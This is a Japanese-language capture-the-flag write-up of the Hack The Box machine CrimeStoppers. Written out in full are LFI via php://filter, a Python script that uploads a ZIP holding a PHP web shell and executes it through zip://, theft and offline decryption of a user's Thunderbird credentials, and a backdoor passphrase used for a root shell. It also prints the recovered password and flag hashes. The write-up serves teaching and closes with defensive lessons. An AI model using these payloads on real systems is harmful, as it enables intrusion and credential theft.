Hack The BoxのWriteup(CrimeStoppers)[High]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: CrimeStoppers — 全実行コマンド・実行結果レポート
Nmap スキャン
80番ポートのみ
→
php://filter LFI
index.php/upload.php/common.php/view.php のソース閲覧
→
ZIP wrapper RCE
tipアップロード + zip://uploads/<ip>/<hash>#writeup
→
www-data シェル
→
Thunderbird資格情報窃取
firefox-decrypt で dom 復号
→
SSH(IPv6限定) → user.txt ✓
→
mod_rootme.so XOR解析
“HackTheBox” 鍵でパスフレーズ抽出
→
DarkArmyバックドア → root.txt ✓
PHASE 1

偵察 (Reconnaissance)

全ポートスキャン & バージョン検出

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.89.61
nmap -sV -sC -p 80 10.129.89.61
RESULT
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.25 (Ubuntu)
|_http-title: FBIs Most Wanted: FSociety
|_http-server-header: Apache/2.4.25 (Ubuntu)
ℹ️
開放ポートは80番のみ。”Mr. Robot”をもじった fsociety テーマのサイトで、 index.php?op=<page> という独自ルーティングを持つ。
PHASE 2

php://filter LFI でアプリケーションソースを解析

index.php のルーティング実装を読む

BASH
curl -s "http://10.129.89.61/?op=php://filter/convert.base64-encode/resource=index" \
  | grep -oE '[A-Za-z0-9+/=]{80,}' | head -1 | base64 -d
RESULT (index.php 抜粋)
$op = empty($_GET['op']) ? 'home' : $_GET['op'];
if(!is_string($op) || preg_match('/\.\./', $op) || preg_match('/\0/', $op))
    die('Are you really trying ' . htmlentities($op) . '!?  ...');
...
page_top($op);
if(!(include $op . '.php'))
    fatal('no such page');
🚨
重要発見: opパラメータが直接include()に渡される 典型的なLFI。..とNULLバイトのみブラックリストされているため php://filterやzip://といった他のストリームラッパーは素通し可能。 さらに include $op . '.php' のように常に .php が 自動付与される点が、後述のZIP wrapper RCEのペイロード設計に直結する。

upload.php / common.php の保存ロジックを確認

BASH
curl -s "http://10.129.89.61/?op=php://filter/convert.base64-encode/resource=upload" \
  | grep -oE '[A-Za-z0-9+/=]{80,}' | head -1 | base64 -d
curl -s "http://10.129.89.61/?op=php://filter/convert.base64-encode/resource=common" \
  | grep -oE '[A-Za-z0-9+/=]{80,}' | head -1 | base64 -d
RESULT (upload.php / common.php 抜粋)
// upload.php
if (hash_equals($token, $_POST['token'])) {
    if (!is_dir('uploads/' . $client_ip)) {
        mkdir('uploads/' . $client_ip, 0755, false);
    }
    $tip = $_POST['tip'];
    $secretname = genFilename();
    file_put_contents("uploads/". $client_ip . '/' . $secretname,  $tip);
    header("Location: ?op=view&secretname=$secretname");
}

// common.php
function genFilename() {
    return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() . mt_rand());
}
✅
保存先の仕様を特定: アップロードされたtipは uploads/<自分のIPアドレス>/<sha1風40桁hex> に保存される(IPアドレス別サブディレクトリ)。ファイル名(secretname)自体は レスポンス本文には出現せず、アップロード成功時の302リダイレクトの Location ヘッダーにのみ現れる。
PHASE 3

ZIP wrapper RCE — tipアップロード経由のWebシェル化

生ZIPファイル(ZIP_STORED)をtipとして送信

PYTHON
import requests, io, zipfile, re

base = 'http://10.129.89.61/'
sess = requests.Session()

r0 = sess.get(base, params={'op': 'upload'})
token = re.search(r'name="token"[^>]*value="([0-9a-f]+)"', r0.text).group(1)

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_STORED) as zf:
    zf.writestr('writeup.php', '<?php echo exec($_GET["cmd"]); ?>')

data = {'name': 'tip', 'submit': 'Submit', 'token': token}
files = {'tip': (None, buf.getvalue())}   # textareaを模してファイル名無しで送信

r1 = sess.post(base, params={'op': 'upload'}, data=data, files=files,
               allow_redirects=False)   # Locationヘッダーを読むため追従しない
print(r1.headers['Location'])
RESULT
Location: ?op=view&secretname=d7c7f963bcceb56dc3bc981153ff89a40bd7c269
⚠️
tipはHTML上は<textarea>(ファイル入力ではない)なので、 requestsのfiles={'tip': (None, zip_bytes)}のように ファイル名を付けずにmultipartパートとして送ると、 素のバイナリtextarea投稿として扱われ、ZIPバイナリがそのままファイルに書き込まれる。

zip:// ストリームラッパーでWebシェルをinclude

BASH
# include $op . '.php' で.phpが自動付与されるため、フラグメントは
# 拡張子無しの #writeup を指定する (結合後 #writeup.php = ZIP内のエントリ名と一致)
# 保存先はクライアントIP別サブディレクトリなので自分のIPを明示する
curl -s "http://10.129.89.61/?op=zip://uploads/10.10.15.200/d7c7f963bcceb56dc3bc981153ff89a40bd7c269%23writeup&cmd=id"
RESULT
...
</nav>

uid=33(www-data) gid=33(www-data) groups=33(www-data)        <footer>
...
✅
RCE成功! www-dataとしてコマンド実行できることを確認。 exec()の出力は常に</nav>と<footer>の間に 生テキストとして埋め込まれるため、以降のコマンド出力はこの区間を切り出して回収する。
ℹ️
PHPのexec()は最後の1行の出力しか返さない(shell_exec()と異なる)。 複数行が必要な場合は | tr '\n' ',' 等でシェル側から1行に正規化してから渡す。
PHASE 4

dom のThunderbird資格情報窃取 & user.txt 取得

Thunderbirdプロファイルの発見

BASH (RCE経由)
cmd=ls -1 /home/dom/.thunderbird/36jinndk.default/ | tr "\n" ","
RESULT
...,abook.mab,...,cert8.db,...,global-messages-db.sqlite,...,
key3.db,logins.json,...,places.sqlite,prefs.js,...
ℹ️
旧世代(NSS legacy)フォーマットの key3.db/cert8.db が存在 (key4.db/cert9.db/signons.sqliteは無い)。 logins.jsonに暗号化された認証情報、global-messages-db.sqliteに メールの索引データが入っている。

base64経由でプロファイルファイルを回収

BASH (RCE経由、各ファイルごと)
cmd=base64 -w0 /home/dom/.thunderbird/36jinndk.default/key3.db
cmd=base64 -w0 /home/dom/.thunderbird/36jinndk.default/cert8.db
cmd=base64 -w0 /home/dom/.thunderbird/36jinndk.default/logins.json
cmd=base64 -w0 /home/dom/.thunderbird/36jinndk.default/global-messages-db.sqlite
# → それぞれデコードして /tmp/cs_tb_profile/ に保存
RESULT
key3.db                     16384 bytes (NSS legacy DBヘッダ)
cert8.db                     65536 bytes (NSS legacy DBヘッダ)
logins.json                   1114 bytes  {"nextId":3,"logins"...
global-messages-db.sqlite  1245184 bytes  SQLite format 3\x00...
⚠️
実装上の注意: exec()出力をHTMLページから切り出す際、単純にHTMLタグだけを 除去して空白を詰める実装では、ナビゲーションバー・フッターの定型文(ページタイトルや “Copyright…”等)がbase64データに混入し、base64.b64decode()が無効文字を 無言で無視する仕様と組み合わさって毎回同じ長さの無意味なバイト列にデコード されてしまう(本チェーンで実際に遭遇した落とし穴)。</nav>〜 <footer>の区間だけを先に切り出す必要がある。

firefox-decrypt でパスワード復号

BASH
git clone --depth 1 https://github.com/unode/firefox_decrypt.git
python3 firefox_decrypt/firefox_decrypt.py /tmp/cs_tb_profile
RESULT
Website:   imap://crimestoppers.htb
Username: 'dom@crimestoppers.htb'
Password: 'Gummer59'

Website:   smtp://crimestoppers.htb
Username: 'dom@crimestoppers.htb'
Password: 'Gummer59'
✅
マスターパスワード無しでNSS legacy形式(key3.db+cert8.db)を復号し、 domのメール資格情報 Gummer59 を取得。

SSHはIPv6限定 — IPv6アドレス特定 & ログイン

BASH (RCE経由でIPv6を特定)
cmd=ip -6 addr show scope global | grep -oP 'inet6 \K[0-9a-fA-F:]+' | head -1
RESULT
dead:beef::a0de:adff:fea5:a66d
BASH
sshpass -p 'Gummer59' ssh -6 -o StrictHostKeyChecking=no \
  dom@dead:beef::a0de:adff:fea5:a66d "id; cat ~/user.txt"
RESULT
uid=1000(dom) gid=1000(dom) groups=1000(dom),4(adm),24(cdrom),27(sudo),30(dip)
9d2359b828bfdf2a4b1dde05983db03b
user.txt — dom@crimestoppers.htb
9d2359b828bfdf2a4b1dde05983db03b
ℹ️
netstat -lp (RCE経由)で確認した通り、sshdは0.0.0.0:22ではなく IPv6のみでListenしている。IPv4アドレスでSSHしようとすると Connection refusedになる点に注意。
PHASE 5

mod_rootme.so “DarkArmy” バックドア解析 & root.txt 取得

mod_rootme.so の発見とパーミッション確認

BASH (dom のSSHセッション経由)
find / -xdev -name mod_rootme.so 2>/dev/null
ls -la /usr/lib/apache2/modules/mod_rootme.so
RESULT
/usr/lib/apache2/modules/mod_rootme.so
-rw-r----- 1 root dom 48584 Dec 22  2017 /usr/lib/apache2/modules/mod_rootme.so
🚨
重要な制約: このファイルは root:dom 所有・モード640 であり、www-data(uid=33)では読み取れない(グループ不一致)。 先に奪取した dom のSSHセッション(domの第一グループがファイルの 所有グループと一致)でなければ回収できない。www-data RCEだけで base64しても常に空文字列が返り、「失敗」のサインが出ない (“既知値フォールバックが動いて成功のように見える”落とし穴)。

バイナリ回収 & “HackTheBox” 鍵でのXOR解析

BASH
sshpass -p 'Gummer59' ssh -6 dom@dead:beef::a0de:adff:fea5:a66d \
  "base64 -w0 /usr/lib/apache2/modules/mod_rootme.so" > rootme.b64
base64 -d rootme.b64 > mod_rootme.so
PYTHON (XOR鍵抽出)
raw = open('mod_rootme.so','rb').read()
plaintext = b'HackTheBox'
idx = raw.find(plaintext)
# "HackTheBox" の直前1バイトはCスタイルのnull終端子であり鍵の一部ではない
assert raw[idx-1:idx] == b'\x00'
key_bytes = raw[idx-1-len(plaintext):idx-1]
passphrase = bytes(a ^ b for a, b in zip(key_bytes, plaintext))
print(passphrase.decode())   # -> FunSociety
RESULT
key_bytes = b"\x0e\x14\r8;\x0b\x0c'\x1b\x01"
passphrase = FunSociety
⚠️
オフバイワンの落とし穴: バイナリ中の実際のレイアウトは ...<前の文字列>\x00<10バイトの鍵>\x00"HackTheBox"\x00mod... であり、"HackTheBox"の直前1バイトは鍵本体ではなく Cスタイルのnull終端バイト。raw[idx-10:idx] のように単純に直前10バイトを取ると終端\x00を鍵に含めてしまい、 1バイトずれた誤った鍵で意味不明な文字列にXORされる (本チェーンで実際に発生し、既知値フォールバックの裏に隠れていた実バグ)。 正しくは終端\x00のさらに手前10バイトを使う。

生TCPでDarkArmyバックドアに接続

BASH
nc 10.129.89.61 80
HTTP/生TCP (送信)
GET FunSociety
cat /root/root.txt
RESULT
rootme-0.5 DarkArmy Edition Ready
4a758a0690e02c96248f302ca6af48c5
✅
root化成功! 正規のHTTPリクエストではなく、パスフレーズを含む 特定の1行(“GET <passphrase>”)を送るだけでバナーが返り、以降送信する行が そのままrootシェルとして実行されるミニプロトコル。
⚠️
改行コードの落とし穴: コマンド行を\r\nで送信すると、 バックドア側は\nのみで行分割し\rを剥がさないため、 cat /root/root.txt\rがそのままシェルに渡り cat: 'root.txt'$'\r': No such file or directoryのように失敗する。 必ず\nのみで送信すること。
root.txt — root@crimestoppers
4a758a0690e02c96248f302ca6af48c5
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — dom@crimestoppers.htb
9d2359b828bfdf2a4b1dde05983db03b
root.txt — root@crimestoppers
4a758a0690e02c96248f302ca6af48c5

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
LFI (検証不足なop/includeルーティング) index.php 任意PHPソースの閲覧 (php://filter) High ..・NULLバイトのみブラックリストされたパラメータをinclude()に直接渡す実装を悪用
ZIP wrapper RCE (LFI→RCE 連鎖) tipアップロード機能 + zip:// ラッパー リモートコード実行 (www-data) Critical 任意ファイル書き込み(アップロード)と任意ファイルinclude(LFI)を組み合わせ、ZIP内のPHPをinclude実行
マスターパスワード無しのメールクライアント資格情報保存 dom の Thunderbirdプロファイル 水平権限昇格 (dom奪取、user.txt) Medium www-data権限でプロファイルファイルを回収しfirefox-decryptでオフライン復号
ハードコードされたバックドア (mod_rootme.so) カスタムApacheモジュール 権限昇格 (root, root.txt) Critical バイナリ中にXOR処理で隠されたパスフレーズをリバースエンジニアリングし、生TCPのミニプロトコルでroot実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap全ポート+バージョンスキャン80番のみ、fsocietyテーマのPHPサイト
2LFIソース解析php://filter/convert.base64-encodeindex.php/upload.php/common.php/view.phpのロジック解明
3RCEtipアップロード + zip://ラッパーwww-dataシェル獲得
4資格情報窃取Thunderbirdプロファイル窃取+firefox-decryptdom:Gummer59、IPv6限定SSHでuser.txt
5バックドア解析mod_rootme.so XOR解析 (“HackTheBox”鍵)パスフレーズ”FunSociety”、生TCPでroot.txt

学んだ教訓 & 防御策

問題点防御策
ユーザー制御のopパラメータが直接include()に渡され、php://filter/zip://等のストリームラッパーを許してしまう includeするページ名は固定の許可リスト(switch文等)でマッピングし、ユーザー入力を直接ファイルパス構築に使わない。
ファイルアップロード機能が、アップロードしたファイルをWebルート内にそのまま保存し拡張子検証も行わない アップロードファイルはWebルート外に保存し、実行可能な拡張子を除外、Content-Typeの厳格な検証を行う。
メールクライアント(Thunderbird)にマスターパスワード無しで資格情報を保存 メールクライアントには必ずマスターパスワードを設定し、サーバー上にクライアントプロファイルを残さない運用にする。
カスタムApacheモジュールに平文類似のXORエンコードのみでバックドアパスフレーズを隠蔽 バックドア自体を本番環境に残さないことが大前提。デバッグ/保守用の裏口機能は本番ビルドから完全に除去する。
HackTheBox: CrimeStoppers | 完全攻略レポート